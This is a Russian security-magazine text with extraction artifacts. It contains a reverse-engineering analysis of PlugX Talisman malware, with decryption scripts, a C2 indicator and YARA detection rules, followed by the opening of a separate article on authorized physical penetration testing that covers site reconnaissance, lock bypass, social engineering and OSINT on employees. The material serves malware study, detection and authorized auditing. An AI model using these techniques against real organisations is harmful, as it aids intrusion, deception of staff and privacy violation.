PeStudio опре деля ет спи сок биб лиотек, которые зло умыш ленни ки исполь зуют
при написа нии вре доно са. Перей дем на вклад ку Сerticate.

Ин форма ция о под писи фай ла

Файл  явля ется под писан ным, безопас ным фай лом. Теперь откро ем

файл  в PeStudio.

SNAC.exe
WGXMAN.DLL

Опи сание фай ла

В фай ле при сутс тву ет стро ка о фай ле отладки:

C:\bld_area\sesagent70\snac_build\bin.ira\wgxman.pdb

Пе рей дем на вклад ку Strings, в которой мож но обна ружить стро ку .SNAC.LOG
Те перь выпол ним поведен ческий ана лиз, получим информа цию о про цес се

и запишем сетевой тра фик. Запус тим исполня емый файл , затем
откро ем Process Hacker и соберем информа цию о про цес се.

SNAC.EXE

WARNING

Не рекомен дует ся иссле довать вре донос ные
прог раммы на рабочей опе раци онной сис теме,
пос коль ку это может при вес ти к зараже нию
машины и уте ре цен ных дан ных.

Пос ле запус ка исполня емо го фай ла вре донос соз дал дочер ний про цесс
.conhost.exe

Про цесс SNAC.exe

Наж мем два раза на имя это го про цес са, откро ем вклад ку Modules.

Заг ружа емая биб лиоте ка WGXMAN.dll

Как вид но из рисун ка, вре донос заг рузил динами чес кую биб лиоте ку 
. Пос мотрим генери руемый при ложе нием тра фик.

WGXMAN.
dll

Вза имо дей ствие с управля ющим сер вером

Мо дуль PlugX Talisman начина ет уста нав ливать сетевое вза имо дей ствие
с управля ющим сер вером . Пос ле получе ния адре са

домена уста нав лива ется TCP-соеди нение по пор ту 80.

dhsg123[.]jkub[.]com

Со дер жимое TCP-пакета

Так же иссле дуемый обра зец обра щает ся к управля юще му сер веру по про токо -
лу HTTP.

Со дер жимое HTTP-пакета

В резуль тате пер вично го ана лиза мы получи ли информа цию о вре донос ном
про цес се, узна ли адрес управля юще го сер вера, уста нови ли про токол вза имо -
дей ствия, а так же обна ружи ли инте рес ные стро ки и опи сание фай лов.

ÐÀÇÁÎÐ ÌÀËÂÀÐÈ

Прис тупим к под робно му иссле дова нию кода. Динами чес кий ана лиз будем
про водить с исполь зовани ем ути литы x64dbg. Ана лиз псев докода выпол ним
в IDA Pro с уста нов ленным пла гином HexRays. Что бы получить наибо лее пол -
ный резуль тат, при ана лизе вре донос ных прог рамм необ ходимо ком биниро -
вать инс тру мен ты.

Прог рамма  пред став ляет собой безопас ный исполня емый файл,

который име ет валид ную циф ровую под пись. Его основная задача — заг рузка
динами чес кой биб лиоте ки  методом . Пос ле заг -

рузки биб лиоте ки выпол нение переда ется на фун кцию экспор та .

Далее динами чес кая биб лиоте ка рас шифро выва ет исполня емый код в фай ле
 и переда ет выпол нение на него.

SNAC.EXE

WGXMAN.DLL DLL side-loading

DllMain

SNAC.LOG
Прис тупим к ана лизу. Для это го заг рузим исполня емый файл 

в ути литу x64dbg, в которой будем про водить отладку. Так же заг рузим динами -
чес кую биб лиоте ку  в IDA.

SNAC.EXE

WGXMAN.DLL
Для про веде ния динами чес кого ана лиза необ ходимо най ти точ ку оста нова,

с которой начина ется выпол нение основных фун кций прог раммы. Для это го
про ана лизи руем код заг ружа емой биб лиоте ки и най дем фун кцию, под ходящую
для этой цели.

В IDA откры ваем вклад ку File → Open и выбира ем файл . Пос ле

заг рузки фай ла мы попада ем на фун кцию . Далее деком пилиру ем код,
исполь зуя пла гин HexRays, для это го нажима ем кла вишу F5. И син хро низи руем
ана лиз кода на вклад ке IDA View-A и Pseudocode-A, для чего перене сем вклад -
ку Pseudocode-A в пра вую часть вклад ки IDA View-A. Нажати ем пра вой кноп ки
мыши выберем Syncronize with → IDA View-A, теперь при выборе учас тка кода
он будет под све чивать ся в каж дой вклад ке.

WGXMAN.DLL
DllMain

Учас ток кода фун кции DllMain

Пе рехо дим в фун кцию , эта фун кция и будет точ кой вхо да во вре -

мя динами чес кой отладки. Про ана лизи руем ее.

sub_6FE443C

Код фун кции sub_6FE443C

Фун кция  слу жит для получе ния спис ка фун кций экспор та динами -
чес кой биб лиоте ки .

sub_6FE42A0
kernel32.dll

Со дер жимое фун кции sub_6FE42A0

Нач нем отладку в x64dbg. Для это го перей дем к фун кции  нажати -

ем сочета ния кла виш Ctrl-G, затем наберем адрес фун кции и раз берем алго -
ритм рас шифров ки кон стант.

sub_6FE443C

Пе реход по адре су 6FE443C

Пос тавим точ ку оста нова на вход фун кции. Наж мем F7 для захода в фун кцию
и уви дим инте ресу ющие нас кон стан ты.

Кон троль ные сум мы фун кций экспор та биб лиоте ки kernel32.dll

На чало отладки вре доно са

Зай дем в фун кцию  и раз берем механизм поис ка

экспортных фун кций биб лиоте ки .

call wgxman.6FE42D4
kernel32.dll

Ал горитм дешиф рования кон стант

Псев докод фун кции дешиф рования

В фун кции  рас положен алго ритм пре обра зова ния фун кции

экспор та биб лиоте ки . Име на экспор тиру емых фун кций не хра -

нят ся в откры том виде, поэто му тро яну сле дует сна чала при вес ти их в при год -
ный для исполь зования вид. Для это го на вход фун кции  пос тупа -

ет кон стан та и спи сок фун кций экспор та биб лиоте ки , далее

из наз вания фун кции экспор та счи тыва ется сим вол, пре обра зует ся по алго рит -
му ROR со сме щени ем 7, а затем получа ется сум ма всех пре обра зован ных
сим волов.

sub_6FE42D4
kernel32.dll

sub_6DE42D4
kernel32.dll

На пишем этот алго ритм пре обра зова ния в виде прог раммы на Python. Спи -
сок фун кций экспор та возь мем с сай та .geoffchappell.com

  name_const = ['0xc917432','0xf8062593','0xef64a41e','0xf4e2f2b2',
'0xb4ffafed','0xbbafdf85']

      \ror = lambda val, r_bits, max_bits:
         \((val & (2**max_bits-1)) >> r_bits%max_bits) |
       (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

  f = open('list_export_kernel32.txt','r')
  w = open('out_export.txt','w+')

  def decode(s: str):
     result = 0
      for j in s:

         result = ror(result,7,32)
         result += ord(j)

    return hex(result)

   for i in f:
     s = i.replace('\n','')
     d = decode(s)
      if d in func:

            w.write(s + '-' + d +'\n')

f.close()
w.close()

За пус тив прог рамму, мы получим сле дующий резуль тат.

Вы вод фун кции декоди рова ния кон стант

Пре обра зуем псев докод в чита емый фор мат, вос поль зовав шись воз можнос -
тями IDA Pro. Горячая кла виша N поз воля ет пере име новать перемен ные
в псев докоде IDA.

Пре обра зован ный псев докод фун кции 6FE443C

Пос ле про вер ки того, что имя запущен ного фай ла содер жит , управле ние
переда ется по адре су .

.NAC.
0x6FE44E1

Мы разоб рали метод запуты вания наз ваний фун кций вре доно сом. Теперь
перей дем к учас тку кода, где рас шифро выва ется файл . Для это го
най дем фун кцию , вос поль зовав шись сочета нием кла виш Ctrl-G.

SNAC.LOG
CreateFileA

Пе реход на фун кцию CreateFileA

По адре су  про исхо дит вызов фун кции , а в регис тре

 содер жится путь к фай лу .

0x6FE43C8 CreateFileA
EAX SNAC.LOG

Учас ток кода вызова фун кций CreateFileA, GetFileSize, VirtualAlloc

Да лее вре донос получа ет раз мер фай ла  с исполь зовани ем фун кции

. Затем про исхо дит выделе ние памяти с помощью фун кции

.

SNAC.LOG
GetFileSize
VirtualAlloc

Про дол жаем отла живать код: нажима ем F8 и спус каем ся к адре су фун кции
.ReadFile

Вы зов фун кции ReadFile

Пе рей дем к зна чению в памяти  (параметр  фун кции

). Так как по это му адре су хра нят ся зна чения, нажима ем пра вой кноп -

кой мыши на  и перехо дим на вклад ку «Перей ти к дам пу → Зна -

чение [edi+0x3C]». Пос ле выпол нения фун кции по это му адре су сох ранит ся
содер жимое фай ла .

ds:[edi+0x3C] lpBuffer
ReadFile

[edi+0x3c]

SNAC.LOG

Ад рес в памяти содер жимого фай ла SNAC.LOG

По адре су  хра нит ся содер жимое фай ла . Нажима ем
F8 и дви гаем ся даль ше. Находим учас ток кода, в котором рас шифро выва ется
этот файл.

0x00550000 SNAC.LOG

Ал горитм рас шифро вания фай ла SNAC.LOG

В регистр  переда ются зна чения по адре су  (там хра нит ся содер -
жимое фай ла ), далее с каж дым бай том фай ла про исхо дит сле -

дующее пре обра зова ние. Сна чала из него вычита ется зна чение , далее

выпол няет ся опе рация  со зна чени ем , и, наконец, получен ный резуль -
тат скла дыва ется со зна чени ем . Далее выпол нение кода переда ется

на рас шифро ван ные зна чения и вызыва ется фун кция . Пос тавим точ -

ку оста нова на этом вызове.

ESI [edi+3c]
SNAC.LOG

0x48
XOR 0x19

0xA7
call esi

Да вай напишем на Python код рас шифров ки фай ла  и заг рузим
рас шифро ван ный файл в IDA Pro.

SNAC.LOG

  f = open('SNAC.LOG','rb')
  w = open('SNAC_DECODE.LOG','wb+')

  cont = f.read()
  result = bytearray()

   for i in cont:
   #print(i)
       b = i - 0x48
     b ^= 0x19
     b += 0xa7
     result.append(b & 0xff)

w.write(result)
f.close()
w.close()

По лучен ный рас шифро ван ный файл  заг рузим в IDA Pro

и раз берем его код.

SNAC_DECODE.LOG

Учас ток кода рас шифро ван ного фай ла SNAC.LOG

Как вид но из рисун ка, про исхо дит запуск фун кции , в качес тве вто -

рого аргу мен та переда ется раз мер фай ла , рав ный 159 981 бай ту.
При выпол нении это го кода про исхо дит поиск WinAPI-фун кции

.

sub_269DD
SNAC.LOG

GetProcAddress

По иск фун кции GetProcAddress

Продолжение статьи →
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ОПАСНЫЙ ТАЛИСМАН
ИЗУЧАЕМ

ВРЕДОНОС TALISMAN
НА ПРАКТИКЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Да лее вре донос получа ет адре са сле дующих фун кций: ,

, , , , .

LoadLibraryA
VirtualAlloc VirtualFree ExitThread RtlDecompressBuffer memcpy

По луче ние адре сов фун кций

За тем про исхо дят сле дующие пре обра зова ния.

Пре обра зова ние дан ных

На рисун ке выше показан алго ритм рас шифров ки полез ной наг рузки, спря тан -
ной внут ри динами чес кой биб лиоте ки. С целью замед ления рас шифров ки пять
раз вызыва ется фун кция , затем рас шифро ван ный буфер рас паковы вает -

ся с помощью фун кции . Пре обра зован ные дан ные

будут сох ранены в перемен ной , для которой выделя ется память
с помощью фун кции . Наша задача — при отладке попасть

на фун кцию , перей ти про адре су перемен ной 

и сох ранить область памяти. Так мы получим основную полез ную наг рузку вре -
доно са PlugX.

Sleep
RtlDecompressBuffer

v29
VirtualAlloc

RtlDecompressBuffer v29

Прис тупа ем к отладке. Мы оста нав ливались на опе ран де .

Заходим в фун кцию, нажима ем кла вишу F7, а затем F8. Про ходим этап получе -
ния адре сов фун кций, далее, минуя этап рас шифров ки полез ной наг рузки,
оста новим ся перед запус ком фун кции . Эту фун кцию мож -
но отыс кать, спус каясь вниз по учас тку кода либо перей дя на ее вызов.
Для это го мож но исполь зовать сочета ние кла виш Ctrl-G в x64dbg, пос ле чего
сле дует ввес ти наз вание фун кции, на которую мы хотим перей ти.

call esi

RtlDecompressBuffer

Вы зов фун кции RtlDecompressBuffer

В регис тре  хра нят ся пре обра зован ные дан ные (параметр

). Щел кнем пра вой кноп кой мыши на этом регис тре, затем
наж мем «Перей ти к дам пу → esi» и получим основную наг рузку вре доно са
PlugX.

ESI
UncompressBuffer

Ос новная наг рузка модуля PlugX Talisman

Сох раним получен ный код, для это го щел кнем пра вой кноп кой мыши на регис -
тре  и выберем в открыв шемся меню пункт «Перей ти к кар те памяти».ESI

Кар та памяти

Наж мем пра вую кноп ку мыши, что бы сох ранить дамп в файл. Мы выг рузили
основную наг рузку вре доно са. Чуть поз же мы заг рузим ее в IDA Pro и раз берем
фун кци ональ ность, а для начала пос мотрим, что про исхо дит пос ле рас шифров -
ки полез ной наг рузки. В отладчи ке спус каем ся нем ного ниже (F8) и попада ем
на фор мирова ние внут ренней струк туры вре доно са.

Фор мирова ние струк туры PlugX Talisman

Спус тимся до учас тка кода  и перей дем

к дам пу по адре су в регис тре . Для это го наводим кур сор на регистр ,

нажима ем пра вую кноп ку мыши и откры ваем дамп.

mov dword ptr ds:[esi],CF455089
ESI [esi]

Ком пании Trellix и «Док тор Веб» опи сыва ли схо жие струк туры PlugX, но мы
раз берем их самос тоятель но.

Опи сание струк туры Talisman

Дамп памяти струк туры Talisman

Пер вые 4 бай та содер жат зна чение , которое явля ется сиг натурой

струк туры. Раз мер кон фигура ции Talisman равен  байт, а зашиф рован -
ный учас ток кон фигура ции хра нит ся по адре су  (в тво ем отладчи ке

адрес будет отли чать ся).

0xCF455089
0x1924
0x610013

Пе рей дем по адре су , для это го наж мем пра вую кноп ку мыши и в
открыв шемся меню выберем пункт «Перей ти к дам пу DWORD».

0x610013

Со дер жимое зашиф рован ной кон фигура ции PlugX Talisman

Ско пиру ем получен ное зна чение и сох раним в файл .encrypt_talisman.txt

На чало и конец кон фигура ции Talisman

Мы наш ли кон фигура цию Talisman, теперь оты щем учас ток кода, который его
рас шифро выва ет.

Для это го заг рузим сох ранен ный дамп полез ной наг рузки PlugX Talisman
в IDA Pro. Нам извес тно, что дли на кон фигура ции сос тавля ет  байт,

а сиг натура кон фигура ции име ет вид . Най дем учас ток кода, где

про исхо дит срав нение сиг натуры и объ ема памяти кон фигура ции.

0x1924
0xCF455089

В IDA Pro откры ваем вклад ку Search → Sequence of bytes и вво дим зна чение
.0x1924

По иск количес тва бай тов кон фигура ции

Спи сок най ден ных учас тков кода срав нения объ ема кон фигура ции

Пе рехо дим в фун кцию  и находим срав нение сиг натуры Talisman,

а так же раз мера фай ла кон фигура ции.

sub_100243A0

Учас ток кода рас шифров ки струк туры Talisman

Фун кция , которую мы пере име нова ли

в , содер жит учас ток кода рас шифров ки струк туры

бэк дора.

sub_1000A710
Decrypt_Config_Talisman

Ал горитм рас шифров ки кон фигура ции

Дан ный учас ток кода схож с модулем . Давай напишем на Python алго -
ритм рас шифров ки кон фигура ции, которую мы сох ранили в файл

.

PlugX.38

encrypt_talisman.txt

 def DWORD(i):
      return i & 0xFFFFFFFF

 def LOBYTE(i):
      return i & 0x000000FF

  def dec(key, in_data):
           k1 = k2 = k3 = k4 = key
     result = bytearray()
      for x in in_data:

               k1 = DWORD(k1 + (k1 >> 3) - 0x11111111)
               k2 = DWORD(k2 + (k2 >> 5) - 0x22222222)
               k3 = DWORD(k3 + 0x33333333 - (k3 << 7))
               k4 = DWORD(k4 + (0x44444444 - (k4 << 9)))

               k = LOBYTE(k1 + k2 + k3 + k4)
         result.append(ord(x) ^ k)

    return result

  f = open('encrypt_config.txt','r')
  w = open('decrypt_config_talisman','wb')

      encrypt_config = [chr(int(i,base=16)) for i in f.read().split(' ')
]

  key = 0x4CB8B675
w.write(dec(key,encrypt_config))
f.close()
w.close()

За пус тив скрипт, мы получа ем сле дующие зна чения.

Со дер жимое кон фигура ции PlugX Talisman

Раз мер кон фигура ции сос тавля ет  байт, она содер жит спи сок панелей
управле ния и C2-сер веров ( ). А вот и дру гие получен ные

нами полез ные дан ные:

0x1924
dhsg123.jkub.com

до маш ний каталог вре доно са — ;• %ALLUSERSPROFILE%\SymantecSNAC

мь ютекс соз дава емо го про цес са — ;• Global\ReStart0

це левой про цесс, в который будет внед рять ся вре донос, —
;

•
%SystemRoot%\system32\nslookup.exe

имя отоб ража емой служ бы — ;• SymantecSNAC

иден тифика тор ком пании — .• TEST

На текущем эта пе мы рас шифро вали кон фигура цию PlugX Talisman, теперь раз -
берем основную наг рузку DLL PlugX, которую извлек ли из памяти.

Ана лизи руя код основной наг рузки PlugX, мож но обна ружить сле дующие
исполь зуемые пла гины, рас положен ные в фун кции .sub_1000B9F0

Спи сок пла гинов вре доно са

Пос ле запус ка полез ной наг рузки вре донос соз дает сле дующие токены:
 — эта при виле гия поз воля ет про цес су под клю чать ся

к любому про цес су или ядру как отладчик;
• SeDebugPrivilege

 — поз воля ет про цес су оли цет ворить любого поль -
зовате ля без про вер ки под линнос ти, таким обра зом про цесс может
получить дос туп к тем же локаль ным ресур сам, что и этот поль зователь.

• SeTcbPrivilege

Да лее вре донос соз дает основной поток, который называ ется .bootProc

Учас ток кода соз дания токенов

Так же в основной наг рузке PlugX все фун кции Windows API вызыва ются
динами чес ки на осно ве алго рит ма CRC32 от наз ваний фун кций. Но в алго рит -
ме необ ходимо добавить завер шающий нулевой байт. Алго ритм поис ка фун -
кций пред став лен ниже.

 import zlib
  f = open('list_ws2_32.txt','r')
  m = ['0x49f9b50b','0xeaed580c']

   for i in f:
   h=hex(zlib.crc32(bytes(i.replace('\n',''),'utf-8')+b'\x00'))
      if h in m:
       print(i,h)

Ра зыме нова ние фун кции gethostbyname из биб лиоте ки ws2_32.dll

Ра зыме нова ние фун кции WSAIoctl биб лиоте ки ws2_32.dll

В ходе ана лиза мы рас шифро вали файл , кон фигура цию PlugX

Talisman, в которой хра нят ся све дения о C2-сер верах, а так же рас шифро вали
основную наг рузку PlugX: она пред став ляет собой DLL, заг ружа емую в память
про цес са .

SNAC.LOG

SNAC.exe

ÑÎÇÄÀÍÈÅ ÏÐÀÂÈË

Да вай соз дадим собс твен ные пра вила YARA для детек тирова ния про цес са
PlugX Talisman в памяти Windows, а так же его поис ка в фай ловой сис теме. Нам
известен учас ток кода про вер ки сиг натуры струк туры Talisman, а так же его раз -
мер. Этот код рас положен в фун кции  (полез ной наг рузки PlugX).

Вос поль зуем ся для этих целей пла гином mkYARA для IDA.

sub_100243A0

На водим кур сор мыши на учас ток кода и жмем пра вую кноп ку, затем
в открыв шемся меню выбира ем пункт mkyara → Generate Normal Yara Rule.
Пла гин сге нери рует пра вило для опре деле ния сиг натуры . Те же

самые дей ствия выпол ним на учас тке кода, в котором срав нива ется дли на кон -
фигура ции . Сфор миру ем сле дующее пра вило.

0xCF455089

0x1924

rule generated_rule
{
   meta:
       autor="rayhunt454"
       hash = "C6C6162CCA729C4DA879879B126D27C0"

   /*
   0x10024421L 8138895045CF  cmp dword ptr [eax], 0xcf455089
    */
   /*
   0x1002448aL 81781824190000  cmp dword ptr [eax + 0x18], 0x1924
    */
   strings:
       $chunk_1 = {
           81 38 89 50 45 CF
       }
       $chunk_2 = {
           81 78 ?? 24 19 00 00
       }

   condition:
       $chunk_1 and $chunk_2

}

Те перь раз работа ем пра вило для поис ка вре доно са в фай ловой сис теме.
Будем детек тировать заг рузчик, в нашем слу чае это файл .WGXMAN.dll

При ана лизе фай ла  мы обна ружи ли скры тую стро ку ,
а так же файл c отла доч ной информа цией. На осно ве этих све дений сфор миру -
ем пра вило.

WGXMAN.dll SNAC.LOG

rule Plugx_WGXMAN
{
   meta:
       autor="rayhunt454"
       hash = "B4F12A7BE68D71F9645B789CCDC20561"

   strings:
       $snac = "SNAC.LOG" wide ascii
       $pdb = "sesagent70\\snac_build\\bin.ira\\wgxman.pdb" 

nocase

   condition:
       $snac and $pdb

}

Про тес тиру ем раз работан ные сиг натуры. Для это го вос поль зуем ся ути литой
YaraEditor. Откро ем вклад ку Test → Test items, наж мем кноп ку Folder и выберем
каталог, в котором рас положе ны вре донос ные модули. Наж мем на кноп ку
Process и выберем про цесс . Пос ле нажатия на кноп ку Scan items

YaraEditor начина ет искать стро ки.

SNAC.exe

Де тект модуля в памяти Windows

Оп ределе ние фай ла WGXMAN.dll

Мы научи лись раз рабаты вать сиг натуры для поис ка вре доно са в фай ловой сис -
теме и памяти Windows. В резуль тате иссле дова ния мы сфор мирова ли сле -
дующие IOCs: мьютекс , управля ющий сер вер 

, а так же кон троль ные сум мы иссле дуемых фай лов.
Global\ReStart0 dhsg123[.]

jkub[.]com

INFO

Для поис ка в фай ловой сис теме вре донос ных
фай лов на осно ве IOCs мож но исполь зовать ути -
литу , в которую есть воз можность
добав лять пра вила YARA, хеш-сум мы модулей,
а так же мьютек сы.

Loki Scanner

ÂÛÂÎÄÛ

Мы научи лись иссле довать вре донос ные фай лы и раз рабаты вать собс твен ные
пра вила их детек тирова ния. Про цесс ревер са очень дол гий и иног да неп -
ростой: необ ходимо исполь зовать нес коль ко инс тру мен тов для поис ка нуж ных
вирус ному ана лити ку учас тков кода. Для соз дания более гиб ких пра вил YARA
при ходит ся иссле довать мно жес тво схо жих вре доно сов и находить иден тичные
учас тки кода. Перед тем как прис тупать к глу боко му изу чению образца, надо
про вес ти пер вичный ана лиз фай лов, най ти в них инте рес ные стро ки, а так же
про верить их на наличие упа ков щиков и крип торов.

https://learn.microsoft.com/ru-ru/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtldecompressbuffer
https://vms.drweb.ru/virus/?i=21512304
https://www.nextron-systems.com/loki/
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ВЗЛОМ

В пен тестер ском комь юни ти не так уж час -
то раз бира ют тему физичес кой безопас -
ности объ ектов, на которых рас положе ны
инте ресу ющие нас сер веры. А зря!
При ана лизе век торов ата ки не сто ит
забывать и о воз можнос ти физичес кого
про ник новения, а не толь ко о «бру те
хешей паролей». В этой статье мы отве тим
на самые живот репещу щие воп росы, свя -
зан ные с физичес кими пен теста ми, а еще
я поделюсь исто рией одно го такого про -
екта.

Â ×ÅÌ ÎÒËÈ×ÈÅ «ÔÈÇÈ×ÅÑÊÎÃÎ ÏÅÍÒÅÑÒÀ» ÎÒ ÊÐÀÆÈ

ÑÎ ÂÇËÎÌÎÌ?

Все, что ты дела ешь, дол жно выпол нять ся стро го сог ласно догово ру, сос -
тавлен ному вашей орга низа цией и заказ чиком. Учти, что любые откло нения
от методо логии про веде ния работ или импро виза ция могут пов лечь за собой
серь езные неп рият ности, в том чис ле при мене ние физичес кой силы сот рудни -
ками соот ветс тву ющих струк тур.

ÊÀÊÈÅ ÍÓÆÍÛ ÄÎÊÓÌÅÍÒÛ?

Имей в виду, что все твои дей ствия (прак тичес ки каж дый шаг) дол жны быть
про писа ны в методо логии физичес кого пен теста. Сог ласова ние такого
докумен та, как пра вило, занима ет не один день, в него пос тоян но вно сят прав -
ки тес тиру емая орга низа ция и юрис ты с обе их сто рон.

Ча ще все го руково дитель про екта так же под готовит пакет докумен тов,
который будет в пол ной мере под тверждать твою лич ность. Стан дар тный
набор обыч но сос тоит из копии пас порта, заверен ной копии тру дово го догово -
ра, докумен та с наз вани ем и серий ным номером носимой тех ники (ноут бук,
смар тфон, Proxmark и про чее) и справ ки, что у тебя нет судимос ти.

В зависи мос ти от рода деятель нос ти про веря емой орга низа ции может пот -
ребовать ся пред варитель но офор мить раз ные допус ки, а так же прой ти инс -
трук таж по тех нике безопас ности. Дела ется это в пер вый день при бытия
на тес тиру емый объ ект.

Î ×ÅÌ ÍÓÆÍÎ ÏÐÅÄÓÏÐÅÄÈÒÜ ÇÀÊÀÇ×ÈÊÀ?

По нят но, что неос ведом ленность сот рудни ков о пред сто ящих работах —
это одно из необ ходимых нам усло вий. Исклю чени ем может быть раз ве что
началь ник служ бы информа цион ной безопас ности. Увы, эти усло вия выпол -
няют ся не всег да, что повыша ет слож ность нашей задачи.

Од нако «гряз но сыг рать» можешь и ты сам, при менив методы соци аль ной
инже нерии и догово рив шись с кем-то из сот рудни ков орга низа ции заказ чика.
Такой «договор няк» может, наобо рот, упростить дос тижение целей ауди та.
Подоб ные методы соци аль ного вза имо дей ствия с пер соналом заранее опи -
сать и обго ворить невоз можно: уни вер саль ного под хода к решению задач
такого харак тера не сущес тву ет.

По это му доля импро виза ции все же будет при сутс тво вать, о чем сто ит ска -
зать кон так тно му лицу про веря емой орга низа ции (тому самому началь нику
служ бы ИБ).

ÊÀÊÈÅ ÌÎÃÓÒ ÂÎÇÍÈÊÍÓÒÜ ÒÐÅÍÈß Ñ ÏÐÀÂÎÎÕÐÀÍÈÒÅËÜÍÛÌÈ

ÎÐÃÀÍÀÌÈ?

Важ но пом нить, что силовые струк туры прак тичес ки всег да при дер жива ются
опре делен ных пра вил и рег ламен тов, поэто му попыт ки всту пить в спор
или раз жечь кон фликтную ситу ацию ничем хорошим не кон чатся. Пос коль ку
наши работы про водят ся абсо лют но легаль но, нет смыс ла активно соп ротив -
лять ся. Тво им глав ным ору жием дол жны быть под вешен ный язык и зна ние
законов, уме лое бра виро вание которым может зас тавить сот рудни ка физичес -
кой безопас ности засом невать ся в пра виль нос ти сво их дей ствий (опять спа -
сает соци алоч ка). Но ты дол жен всег да пом нить о собс твен ной ответс твен -
ности за совер шенные дей ствия и понимать рис ки откло нения от сог ласован -
ной методо логии.

×ÒÎ, ÅÑËÈ ß ÏÎÏÀÄÓÑÜ?

Ус пешным про ектом мож но счи тать тот, где ты выпол нил все пос тавлен ные
задачи и при этом не спа лил ся. Но быва ет, что какой-то сот рудник орга низа ции
про явля ет бди тель ность и сооб щает о подоз ритель ном лице (то есть о тебе)
служ бе безопас ности, за чем может пос ледовать задер жание.

Имен но на этом эта пе мож но про вес ти гра ницу меж ду закон ными дей стви -
ями и теми, которые вле кут за собой уго лов ную ответс твен ность. Пос ле задер -
жания тебя, ско рее все го, отпра вят в «ком нату ожи дания». Затем кто-то
из сот рудни ков служ бы безопас ности задаст нес коль ко воп росов, которые
помогут ему понять, кто ты такой и что за работы про водишь.

Это самый под ходящий момент, что бы предъ явить пап ку с пакетом
докумен тов, которые под твер дят твою лич ность и докажут, что твоя цель —
ана лиз защищен ности ком пании, а не какая-то дивер сия или, нап ример, про -
мыш ленный шпи онаж в поль зу ком пании-кон курен та.

Ñ ×ÅÃÎ ÑÒÎÈÒ ÍÀ×ÈÍÀÒÜ?

Фи зичес кий пен тест мож но раз делить на два эта па — под готов ка и реали -
зация, то есть раз ведка и про ник новение. Во вре мя раз ведки мы изу чаем
внеш ний и внут ренний периметр объ екта, ана лизи руем обна ружен ные сла бые
мес та, реша ем, какими путями будем про никать внутрь.

Да лее дей ству ем метода ми соци аль ной инже нерии. Ищем спо соб сде лать
копию элек трон ного про пус ка либо выда ем себя за работ ника обслу жива юще -
го пер сонала (инже нер, убор щик, охранник), соис кателя на вакан сию, курь ера
и так далее. В общем, за того, кого про пус тят на тер риторию без лиш них
подоз рений.

Чем тща тель нее ты подой дешь к эта пу раз ведки, тем более убе дитель ную
лич ность смо жешь изоб разить. Здесь при дет ся подумать о мно гих вещах,
начиная от леген ды и закан чивая одеж дой и сопутс тву ющи ми докумен тами.

Вто рой этап — непос редс твен но про ник новение. На этом эта пе нам пред -
сто ит пре одо леть физичес кую защиту при помощи тех ничес ких средств
и базовых инс тру мен тов мед вежат ника. Ско рость и сно ров ка при обре тают ся
с опы том, то есть с каж дым выпол ненным про ектом. Ни один учеб ник, статья
или лек ция не при бавят тебе уве рен ности в дей стви ях, осо бен но ког да речь
идет о работе, где уро вень адре нали на зна читель но выше нор мы.

Са мооб ладание здесь — самое важ ное. Уме ние гра мот но сос тавить леген -
ду и уве рен но обма нывать пер сонал помогут прой ти в кри тичес ки важ ные
помеще ния и, что еще важ нее, уйти, не выз вав подоз рений.

ÊÀÊ ÏÐÎÂÎÄÈÒÜ ÐÀÇÂÅÄÊÓ?

Прий ти на объ ект и изу чить:
По лом ки или дыр ки в заг ражде ниях.•
Ис поль зуемые для тран спор тиров ки сырья и отхо дов желез нодорож ные
пути. Если нет допол нитель ных заг ражде ний, мож но поп робовать прой ти
по ним пеш ком.

•

Под земный пар кинг. Он неред ко поз воля ет попасть в биз нес-центр минуя
про ход ную.

•

Все воз можные мес та выг рузки и пог рузки. Через них тоже мож но обой ти
про ход ную. Если такие зоны зак рыты или не исполь зуют ся, то, как пра вило,
они запер ты на прос тые зам ки, вскры тие которых не пред став ляет проб -
лем.

•

Тех ничес кие помеще ния. Все осталь ные зоны, не попав шие в пун кты выше,
но так же поз воля ющие миновать про вер ку про пус ка.

•

Кры ши и чер даки. Конеч но, если удас тся обна ружить пожар ную лес тни цу
или заб рать ся без нее.

•

ÊÀÊ ÏÎÌÎÃÀÅÒ ÑÎÖÈÀËÜÍÀß ÈÍÆÅÍÅÐÈß?

OSINT, или раз ведка по откры тым источни кам — раз ведыва тель ная дис ципли -
на, вклю чающая в себя поиск, выбор и сбор раз ведыва тель ной информа ции
из обще дос тупных источни ков, а так же ее ана лиз.

Пер вым делом нам нуж но получить све дения о сот рудни ках ком пании. Мы
выяс няем поч ты, телефо ны, акка унты в соци аль ных сетях, мес сен дже рах
и про чее.

Соб рать нуж но сле дующее:
ад реса элек трон ных почт сот рудни ков;•
до кумен ты — при меры догово ров, штат ное рас писание и про чее в таком
духе;

•

рас положе ние орга низа ции;•
пла ны зда ний и соору жений;•
мес торас положе ние про пус кных пун ктов, камер виде онаб людения и пос тов
охра ны.

•

ÊÀÊÎÉ ÑÎÔÒ ÎÁËÅÃ×ÀÅÒ ÑÁÎÐ ÄÀÍÍÛÕ?

В пер вую оче редь — поис ковики, в том чис ле со вся кими хит рыми зап росами,
которые называ ют Google Dorks. Под робнее о них читай в стать ях «

» и «
».

Google
как средс тво взло ма Ис поль зуем мало извес тные фун кции Google, что бы
най ти сок рытое

Так же добав ляй в зак ладки:
 — помога ет сос тавлять дор ки;• Google Hacking

 и  — бес плат ные сер висы, которые помога ют искать чувс тви -
тель ные дан ные вро де паролей, под доменов, элек трон ных почт и про чего;

• intelx.io snov.io

 — поз воля ет отмо тать сайт назад к прош лым вер сиям. Воз -
можно, получит ся най ти уда лен ную или скры тую в новых вер сиях информа -
цию;

• Internet Archive

OSINT Telegram-боты («Глаз бога» и иже с ним) — вво дим име ющуюся у нас
инфу (поч товый ящик, телефон, стра нич ка в ВК) и получа ем все, что есть
в базе бота. Нап ример, адре са, телефо ны, соци аль ные сети, дан ные пас -
порта, объ явле ния;

•

 — инте рес ный инс тру мент для Linux, который собира ет име на,
элек трон ные поч ты, IP-адре са, под домены и URL-адре са, исполь зуя зап -
росы ко мно жес тву откры тых ресур сов;

• Harvester

улич ные камеры. Их, к при меру, агре гиру ют Яндекс Кар ты. Там же могут
най тись и ссыл ки на пла ны зда ний;

•

сай ты для поис ка работы вро де HeadHunter. Если там най дут ся резюме
извес тных нам сот рудни ков IT-под разде ления, мы смо жем как минимум
узнать о сте ке тех нологий, с которы ми они работа ют.

•

ÊÀÊ ÑÎÑÒÀÂËßÒÜ ÏÈÑÜÌÀ ÄËß ÐÀÇÂÅÄÊÈ?

